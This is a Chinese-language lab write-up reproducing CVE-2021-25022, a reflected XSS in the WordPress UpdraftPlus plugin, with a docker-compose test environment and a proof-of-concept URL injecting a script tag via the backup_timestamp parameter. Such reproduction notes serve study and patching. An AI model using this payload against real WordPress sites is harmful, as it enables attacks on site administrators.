漏洞介绍

UpdraftPlus插件在输出然后返回管理页面之前不会清理和转义 backup_timestamp 和 job_id 参数，从而导致反射型XSS

漏洞范围

UpdraftPlus 插件< 1.16.66

漏洞靶场

使用UpdraftPlus 1.16.50版本

https://downloads.wordpress.org/plugin/updraftplus.1.16.50.zip

使用CVE-2024-4439的docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: '3.8'

services:
  db:
    image: mysql:5.7
    container_name: wordpress_db
    environment:
      MYSQL_ROOT_PASSWORD: root_password
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress_user
      MYSQL_PASSWORD: wordpress_password
    volumes:
      - db_data:/var/lib/mysql
    networks:
      - wordpress_network

  wordpress:
    image: wordpress:6.4.3
    container_name: wordpress_app
    depends_on:
      - db
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_DB_USER: wordpress_user
      WORDPRESS_DB_PASSWORD: wordpress_password
      WORDPRESS_DEBUG: "true"
    volumes:
      - wordpress_data:/var/www/html
      - ./plugins:/var/www/html/wp-content/plugins
    networks:
      - wordpress_network

volumes:
  db_data:
  wordpress_data:

networks:
  wordpress_network:

把插件解压到plugins里面，该目录会挂载到容器内的插件目录

在http://127.0.0.1:8080/wp-admin/plugins.php内，把该插件启用一下

漏洞原理

漏洞复现

访问该url

1
http://example.com/wp-admin/options-general.php?page=updraftplus&backup_timestamp=%3Cscript%3Ealert%28/XSS/%29%3B%3C%2Fscript%3E&action=updraft_restore

image-20241209222903503

参考

UpdraftPlus < 1.16.66 – Reflected Cross-Site Scripting | CVE 2021-25022 | Plugin Vulnerabilities (wpscan.com)